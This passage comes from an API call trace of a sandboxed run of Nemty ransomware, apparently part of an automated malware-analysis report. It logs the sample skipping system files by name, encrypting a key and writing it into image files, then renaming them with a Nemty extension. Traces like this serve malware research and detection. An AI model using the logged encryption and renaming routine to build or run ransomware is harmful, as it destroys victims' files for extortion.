dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0161.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0161.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0161.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0161.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0161.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0161.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0161.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0161.502] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8722cd71, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8722cd71, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b0f6e45, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2334, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_black_moon-waning-crescent.png", cAlternateFileName="")) returned 1 [0161.502] lstrcmpiW (lpString1="docked_black_moon-waning-crescent.png", lpString2=".") returned 1 [0161.502] lstrcmpiW (lpString1="docked_black_moon-waning-crescent.png", lpString2="..") returned 1 [0161.502] lstrcmpiW (lpString1="docked_black_moon-waning-crescent.png", lpString2="...") returned 1 [0161.503] lstrcmpiW (lpString1="docked_black_moon-waning-crescent.png", lpString2="windows") returned -1 [0161.503] lstrcmpiW (lpString1="docked_black_moon-waning-crescent.png", lpString2="$RECYCLE.BIN") returned 1 [0161.503] lstrcmpiW (lpString1="docked_black_moon-waning-crescent.png", lpString2="rsa") returned -1 [0161.503] lstrcmpiW (lpString1="docked_black_moon-waning-crescent.png", lpString2="NTDETECT.COM") returned -1 [0161.503] lstrcmpiW (lpString1="docked_black_moon-waning-crescent.png", lpString2="ntldr") returned -1 [0161.503] lstrcmpiW (lpString1="docked_black_moon-waning-crescent.png", lpString2="MSDOS.SYS") returned -1 [0161.503] lstrcmpiW (lpString1="docked_black_moon-waning-crescent.png", lpString2="IO.SYS") returned -1 [0161.503] lstrcmpiW (lpString1="docked_black_moon-waning-crescent.png", lpString2="boot.ini") returned 1 [0161.503] lstrcmpiW (lpString1="docked_black_moon-waning-crescent.png", lpString2="boot.ini") returned 1 [0161.503] lstrcmpiW (lpString1="docked_black_moon-waning-crescent.png", lpString2="AUTOEXEC.BAT") returned 1 [0161.503] lstrcmpiW (lpString1="docked_black_moon-waning-crescent.png", lpString2="ntuser.dat") returned -1 [0161.503] lstrcmpiW (lpString1="docked_black_moon-waning-crescent.png", lpString2="desktop.ini") returned 1 [0161.503] lstrcmpiW (lpString1="docked_black_moon-waning-crescent.png", lpString2="CONFIG.SYS") returned 1 [0161.503] lstrcmpiW (lpString1="docked_black_moon-waning-crescent.png", lpString2="RECYCLER") returned -1 [0161.503] lstrcmpiW (lpString1="docked_black_moon-waning-crescent.png", lpString2="BOOTSECT.BAK") returned 1 [0161.503] lstrcmpiW (lpString1="docked_black_moon-waning-crescent.png", lpString2="bootmgr") returned 1 [0161.503] lstrcmpiW (lpString1="docked_black_moon-waning-crescent.png", lpString2="programdata") returned -1 [0161.503] lstrcmpiW (lpString1="docked_black_moon-waning-crescent.png", lpString2="appdata") returned 1 [0161.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0161.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-crescent.png", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0161.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0161.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-crescent.png", cchWideChar=37, lpMultiByteStr=0x6345608, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waning-crescent.png", lpUsedDefaultChar=0x0) returned 37 [0161.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0161.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0161.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-crescent.png", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0161.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0161.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-crescent.png", cchWideChar=37, lpMultiByteStr=0x6345608, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waning-crescent.png", lpUsedDefaultChar=0x0) returned 37 [0161.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0161.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0161.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0161.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0161.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-crescent.png", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0161.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0161.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-crescent.png", cchWideChar=37, lpMultiByteStr=0x6345608, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waning-crescent.png", lpUsedDefaultChar=0x0) returned 37 [0161.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0161.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0161.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-crescent.png", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0161.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0161.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-crescent.png", cchWideChar=37, lpMultiByteStr=0x6345640, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waning-crescent.png", lpUsedDefaultChar=0x0) returned 37 [0161.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0161.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340270 [0161.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0161.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63400d0 [0161.504] Sleep (dwMilliseconds=0x5) [0161.504] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x13e94010, dwHighDateTime=0x1d561e8)) [0161.504] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x13e94010, dwHighDateTime=0x1d561e8)) [0161.504] GetLastError () returned 0x5 [0161.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0161.505] GetLastError () returned 0x5 [0161.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0161.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0161.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0161.505] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0161.505] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0161.505] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0161.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340348 [0161.505] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340348, pcchString=0x653e91c | out: pszString="jBfo+slQ0bTgm7qCEfJgKuh7C7lbl7Lo/s9YpMqQYj1ahuWOxi1mQiW3Shlf8HEZ\r\nlwHVtpQJ8GZTTbzlyyUxlgDoY6vGj9GiZTJtu3lpxqjvj+1yEHLKuhXEUGeKRyn0\r\n8qXjxEW3vJFtVtU0Wo43e5LOcchbFEzsWPVMN+ygseexRvxBypPWkJhEuhUEXXkZ\r\nN8YyuSTAbsnxKCdEwIb93Ws9lBmoa5B9CmdZjwA4KogET/zPz6Kiqqetv9NNHsA+\r\n4WOjUJlMZQ+P80tPmz4vu8HIebwmrYrPKaRhZOcYYOKC7c5ATrQzWSNT0Y3Dnmyz\r\nfcHB3mjAOmyF0H+FanrCdg==\r\n", pcchString=0x653e91c) returned 1 [0161.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0161.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0161.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0161.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0161.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340348 [0161.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0161.505] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waning-crescent.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waning-crescent.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0161.506] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0161.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0161.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.506] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.515] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.515] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.525] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.525] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.534] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.534] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.543] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.543] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.552] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.553] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.562] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.562] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.571] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.571] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.571] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.571] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.580] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.580] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.580] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.580] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.596] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.596] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.596] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.596] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.605] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.605] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.605] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.605] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.611] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.611] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.617] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.617] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340348, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0161.617] CloseHandle (hObject=0xffffffff) returned 0 [0161.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404b8 [0161.617] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0161.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0161.617] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0161.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0161.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0161.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0161.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63440c0 [0161.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0161.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0161.618] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waning-crescent.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waning-crescent.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waning-crescent.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waning-crescent.png._nemty_kgobjgd_")) returned 0 [0161.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0161.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0161.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0161.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0161.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0161.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0161.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0161.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0161.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0161.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0161.618] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8722cd71, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8722cd71, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b11cfa3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c73, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_black_moon-waning-crescent_partly-cloudy.png", cAlternateFileName="")) returned 1 [0161.618] lstrcmpiW (lpString1="docked_black_moon-waning-crescent_partly-cloudy.png", lpString2=".") returned 1 [0161.618] lstrcmpiW (lpString1="docked_black_moon-waning-crescent_partly-cloudy.png", lpString2="..") returned 1 [0161.618] lstrcmpiW (lpString1="docked_black_moon-waning-crescent_partly-cloudy.png", lpString2="...") returned 1 [0161.618] lstrcmpiW (lpString1="docked_black_moon-waning-crescent_partly-cloudy.png", lpString2="windows") returned -1 [0161.618] lstrcmpiW (lpString1="docked_black_moon-waning-crescent_partly-cloudy.png", lpString2="$RECYCLE.BIN") returned 1 [0161.618] lstrcmpiW 